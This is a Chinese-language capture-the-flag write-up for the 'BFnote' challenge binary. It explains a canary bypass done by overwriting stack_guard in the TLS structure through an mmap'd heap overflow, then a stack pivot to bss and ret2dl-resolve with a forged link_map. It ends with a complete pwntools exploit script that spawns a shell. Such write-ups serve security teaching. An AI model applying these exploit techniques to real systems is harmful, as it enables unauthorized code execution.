首先,检查一下程序的保护机制
然后,我们用IDA分析一下
一开始处,有一个栈溢出漏洞,但是由于开启了canary保护,得想办法绕过canary。下方的堆溢出,[不仔细看还发现不了,v4只有一开始被初始化,在循环里,只有i被重新赋值,v4没变,而下方又用到了v4。]{.mark}
这题是可以绕过canary的,这就牵涉到了一个知识点。
在linux下,有一种线程局部存储(Thread Local Storage)机制,简称TLS。它主要存储着一个线程的一些全局变量。它的结构如下
1 2 3 4 5 6 7 8 9 10 11 12 13 typedef struct { void *tcb; dtv_t *dtv; void *self; int multiple_threads; int gscope_flag; uintptr_t sysinfo; uintptr_t stack_guard; uintptr_t pointer_guard; ... } tcbhead_t ;
而我们的canary是怎么取得的呢
而gs或者fs寄存器就正好指向的是这个结构。结构里的uintptr_t stack_guard 就是canary值,因此,绕过我们能利用漏洞篡改这个结构里的stack_guard 值,也就可以绕过canary了。
在glibc2.23中,[这个结构存储在一块mmap出的内存里,在libc.so的上方,如果是其他版本的glibc,则不一定。]{.mark}
如果我们能够**[申请一块堆到debug001的上方,利用堆溢出,便能修改到debug001,也就是能修改到TLS结构。]{.mark}**正好,本题malloc的大小不受限制,我们只需要malloc一个很大的堆>=0x20000,malloc就会使用mmap来分配内存,正好可以分配到debug001上方。
当我们申请到了上方后,不能直接覆盖TLS结构,因为在[stack_guard]{.mark} 变量前面的几个变量更系统调用有关,不能改了,因此我们不能覆盖,而应该单独修改[stack_guard]{.mark}的值。那么我们可以利用下标越界溢出来修改
通过调试,计算出偏移,然后修改即可。
1 2 3 4 5 6 7 8 9 10 sh.sendlineafter('Give your notebook size : ' ,str (1024 *130 )) overflow_len = 0x216FC sh.sendlineafter('Give your title size : ' ,str (overflow_len)) sh.sendlineafter('invalid ! please re-enter :' ,'1' ) sh.sendafter('Give your title : ' ,'a' ) sh.sendafter('Give your note :' ,'aaaa' )
接下来,就是一个栈溢出了。
但是在ebp上方,取ecx的值作为地址取一个值,这意味着,我们不能覆盖ebp+var_4,这也就意味着我们不能覆盖到main函数的返回地址。
由此,[我们将ebp+var_4覆盖为bss的地址,这样,就可以栈迁移到bss段,然后在bss段进行ROP。]{.mark}
然后,我们注意到**[本题的输出,用的是fwrite、fprintf,这使得我们很难找到合适的gadget来控制参数。并且,这些函数的空间花销很大]{.mark}**,调用需要开辟较大的栈空间,但是我们的bss段不允许。
经过再三的思考,最终,我们用到了ret2dl-resolve来解。Ret2dl-resolve详见https://blog.csdn.net/seaaseesa/article/details/104478081 ,通过伪造link_map,实现任意函数,任意地址动态解析。[用ret2dl-resolve时,需要注意对齐。不然偏移计算会有偏差]{.mark}
综上,我们的exp脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 from pwn import * sh = process('./BFnote' ,env={"LD_PRELOAD" :"./libc.so.6" }) libc = ELF('./libc.so.6' ) elf = ELF('./BFnote' ) read_got = elf.got['read' ] read_plt = elf.plt['read' ] bss = 0x804A040 pop_ebp = 0x80489db leave_ret = 0x8048578 one_gadget = 0x3a80c l_addr = one_gadget - libc.sym['read' ] r_offset = bss + l_addr * -1 if l_addr < 0 : l_addr = l_addr + 0x100000000 payload = 'a' *0x3A + p32(bss+0x100 ) sh.sendafter('Give your description : ' ,payload) dynsym_addr = 0x80481D8 dynstr = 0x80481D8 plt_load = 0x8048456 fake_link_map_addr = bss + 0x600 fake_dyn_strtab_addr = fake_link_map_addr + 0x4 fake_dyn_strtab = p32(0 ) + p32(dynstr) fake_dyn_symtab_addr = fake_link_map_addr + 0xC fake_dyn_symtab = p32(0 ) + p32(read_got - 0x4 ) fake_dyn_rel_addr = fake_link_map_addr + 0x14 fake_dyn_rel = p32(0 ) + p32(fake_link_map_addr + 0x1C ) fake_rel = p32(r_offset) + p32(0x7 ) + p32(0 ) fake_link_map = p32(l_addr) fake_link_map += fake_dyn_strtab fake_link_map += fake_dyn_symtab fake_link_map += fake_dyn_rel fake_link_map += fake_rel fake_link_map = fake_link_map.ljust(0x34 ,'\x00' ) fake_link_map += p32(fake_dyn_strtab_addr) fake_link_map += p32(fake_dyn_symtab_addr) fake_link_map += '/bin/sh' .ljust(0x40 ,'\x00' ) fake_link_map += p32(fake_dyn_rel_addr) payload1 = 'a' *0xDC + p32(pop_ebp) + p32(bss + 0x800 ) + p32(read_plt) + p32(leave_ret) + p32(0 ) + p32(bss + 0x600 ) + p32(0x1000 ) sh.sendlineafter('Give your postscript : ' ,payload1) sh.sendlineafter('Give your notebook size : ' ,str (1024 *130 )) overflow_len = 0x216FC sh.sendlineafter('Give your title size : ' ,str (overflow_len)) sh.sendlineafter('invalid ! please re-enter :' ,'1' ) sh.sendafter('Give your title : ' ,'a' ) sh.sendafter('Give your note :' ,'aaaa' ) rop = '\x00' *0x4 + p32(plt_load) + p32(fake_link_map_addr) + p32(0 ) + 'aaaa' payload = fake_link_map.ljust(0x200 ,'\x00' ) + rop sh.sendline(payload) sh.interactive()